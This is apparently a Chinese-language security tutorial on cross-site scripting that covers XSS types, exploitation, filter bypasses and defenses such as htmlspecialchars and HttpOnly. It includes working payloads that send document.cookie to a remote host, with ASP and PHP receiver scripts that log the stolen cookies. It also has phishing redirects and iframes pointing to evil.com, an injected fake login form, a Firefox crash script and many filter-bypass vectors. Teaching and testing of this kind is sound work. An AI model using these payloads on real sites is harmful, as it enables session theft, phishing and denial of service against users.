XSS跨站脚本攻击

相关基础

浏览器工作机制

常见浏览器有IE、Firefox、Chrome等。这些浏览器的基本工作机制相同。
浏览器主要时解析渲染Web中间件相应的HTML、JavaScript、CSS等资源

JavaScript

一种轻量级编程语言,其代码可插入HTML页面,并由所有的现代浏览器执行。
它能够改变任意HTML元素的大多数属性,且常用于改善HTML的展现,为用户带来更好的体验

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>Test</title>
</head>
<body>
<p>JavaScript能对事件做出反应,比如对按钮的点击:(alert事件)</p>
<button type="button" onclick="alert('Webcome!')">单击按钮</button>
</body>
</html>

简介

Cookie是用户浏览网页时网站存储在用户机器上的小文本文件,里面记录了和用户相关的一些状态或设置,如:用户名、ID、访问次数等,当用户下次访问此网站时,网站会先访问用户机器上对应的该网站的Cookie文件,例如:登陆页面的记住密码功能,在Cookie有效期内可直接鼎炉

根据Cookie时效性可分为两种类型:
持久型:以文本形式存储在硬盘上,由浏览器存取
临时型:亦称作会话Cookie,存储在内存中,当浏览器关闭后即消失


基础知识

Cookie时Web应用程序用来识别用户的凭证,且很多情况下时唯一的凭证。当用户第一次登陆网站时,网站会给用户发放一个唯一的Cookie,当用户再次登录网站时,凭借该Cookie,用户就无需再次进行登录操作
通过JS,浏览器可以操作用户的Cookie
浏览器地址栏输入:

1
2
// 查看某个网站颁发的Cookie
javascript:alert(document.cookie)


漏洞介绍

原理

XSS又叫CSS(Cross Site Script)跨站脚本攻击。它指的时攻击者往Web页面或URL里插入恶意JS代码,若Web应用程序对于用户输入没有过滤,那么当正常用户浏览该页面时,嵌入在Web页面里的恶意JavaScript脚本代码会被执行,从而达到恶意攻击正常用户的目的

服务端

1
2
3
4
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>

用户提交

1
<div><script>alert(/xss/)</script></div>


产生条件

  • 可以控制输入点
  • 输入能返回到前端页面上被浏览器当成脚本语言解释执行

危害

  • Cookie窃取
  • 会话劫持
  • 键盘记录
  • 客户端信息探查
  • 网页挂马
  • XSS蠕虫

XSS类别

DOM型

DOM(Document Object Model),是一个平台和语言都中立的接口,可以使程序和脚本能动态访问和更新文档的内容、结构以及样式
DOM-XSS简单理解为:输出点在DOM

相关资料

存储型

存储型XSS又称为持久型XSS。攻击者上传的包含恶意JS脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在新生成页面时,如果包含了该恶意JS脚本,将会导致所有访问到该网页的浏览器执行该恶意JS脚本。这种攻击类型一般常见在博客、论坛等网站中


漏洞利用

常见用法

  • 获取管理员权限(获取Cookie)
  • 写配置文件Getshell
  • 键盘记录
  • 获取内网IP

Cookie获取

eg:
在远程服务器上,有一个接收和记录Cookies信息的文件

1
2
3
4
5
<script>
document.location="http://www.test.com/cookie.asp?cookie="+document.cookie
</script>

<img src="http://www.test.com/cookie.asp?cookie="+document.cookie></img>

1
2
3
4
5
6
7
8
9
10
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cookie.txt")
set
fs=server.CreateObject("Scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs=nothing
%>
1
2
3
4
5
6
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie,"\n");
fclose($log);
?>

会话劫持

由于Cookie存在一定的安全缺陷,开发者开始使用更为安全的Session认证方式
从网站访问者进入到离开的这段时间中,每个访问者都会得到一个单独的Session,Session时基于防伪的进程,记录了一个访问从开始到结束。当浏览器或进程关闭后,Session也消失了

Seesion与Cookie的最大区别:

  • Session是保存在服务端的内存里
  • Cookie保存在浏览器或客户端的文件里

钓鱼

重定向钓鱼

把当前页面重定向到一个钓鱼页面
eg

1
http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>

HTML注入式钓鱼

使用XSS漏洞注入HTML或JavaScript代码到页面中
eg,该段代码会在正常页面中嵌入一个Form表单

1
http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form method="Post" action="phishing.php" name="form"><br /><br />Login:<br /><input name="login" /><br />Password:<br /><input name="Password" type="password" /><br /><br /><input name="Valid" value="OK" type="submit" /><br /></form></div></body></html>

iframe钓鱼

通过<iframe>标签嵌入远程域的一个页面实施钓鱼
eg

1
http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"></iframe>

  • Flash钓鱼
    将构造好的Flash文件传入服务器,在目标网站用<object><embed>标签引用即可

  • 高级钓鱼技术
    注入代码劫持HTML表单、使用JavaScript编写键盘记录器等


XSS漏洞深入利用

  • XSS蠕虫
    通过精心构造的XSS代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能

  • 网页挂马
    一般都是通过篡改网页的方式来实现
    如:在XSS中使用<iframe>标签

  • DDOS攻击
    注入恶意JavaScript代码,可能会引起一些拒绝服务攻击

宕机攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<body>
<script>
// Windows 7 x64
// FireFox v53.0.3 (32-bit) Crashes
// Credits: John Page / hyp3rlinx
// ISR: ApparitionSec
// hyp3rlinx.altervista.org

var p1="\x41"; // \x表示16进制,此处表示A
for (var c=0;c<0xC350;c++) {
p1+="\x41";
}
var p2="\x41";
for(c=0;c<0x1388;c++) {
p2+=p1;
}
var el = document.createElement('FROM') //IMG,FROM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA
el.style.color=p2;
document.body.appendChild(el);
</script>
</body>
</html>


XSS平台搭建

XSS利用工具

经过测试,若发现了XSS漏洞,则可以结合一些XSS工具来进行利用,常见的有:

  • BlueLotus_XSSReceier
  • XSSer.me
  • BeEF(Kali自带)

XSS变形与绕过

大小写混合字符

1
<scRiPt>alert(1)</scRiPt>

过滤尝试

1
<scr<script>ipt>alert(1)</scr<script>scr<script>ipt>

使用其它标签

src属性

1
2
3
4
<img src=x onerror=alert(1)>
<img/src=x onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src="javascript:alert(2)">

iframe

1
<iframe src="javascript:alert(2)">

利用属性绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- "background"属性 -->
<!--Works on Opera10.5 and IE6-->
<table background=javascript:alert(1)></table>

<!-- "posters"属性 -->
<!--Works upto Opera10.5 -->
<video poster=javascript:alert(1)//></video>

<!-- "data"属性-->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?

<!-- "code"属性 -->
<!-- Firefox Only -->
<applet code="javascript;confirm(document.cookie);">
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

利用事件绕过

1
2
3
4
5
6
7
<svg onload=prompt(1)>
<marquee onstart=confirm(2)>
<body onload=prompt(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">

圆括号被过滤

1
2
<a onmouseover=javascript:windows.onerror=alert;throw 1></a>
<img src=x onerror="javascript:windows.onerror=alert;throw 1">

利用编码绕过

常用:

  • URL编码
  • unicode编码
  • HTML编码
  • CSS编码

防御与修复

使用htmlspecialchars()将一些预定义字符转换成HTML实体
预定义的字符是:
& => &amp;
" => &quot;
' => &#39
< => &lt;
> => &gt;

HTTP-only
当Cookie设置为HTTP-only之后,浏览器的Cookie无法通过客户端js脚本获取
eg

1
Cookie: PHPSESSID=p31aa0tcd4h5qmgjsff87ie680; path=/; HttpOnly


补充

XSS小结

JavaScript能做的,XSS都能做,并且还能做一些HTML和CSS的内容

不使用script标签的XSS

1
<img src="x" onerror="alert(1)">

XSS靶场


用短信完成XSS

Verizon Messages(Message+)
是Verizon推出的一款开放跨平台信息交换应用程序,它允许用户在更多的无线设备中交换和共享信息。目前,该软件客户端支持跨平台使用,包括移动设备、桌面设备和Web段,并提升了VZW文字短信的用户体验度

您的支持是我前进的动力!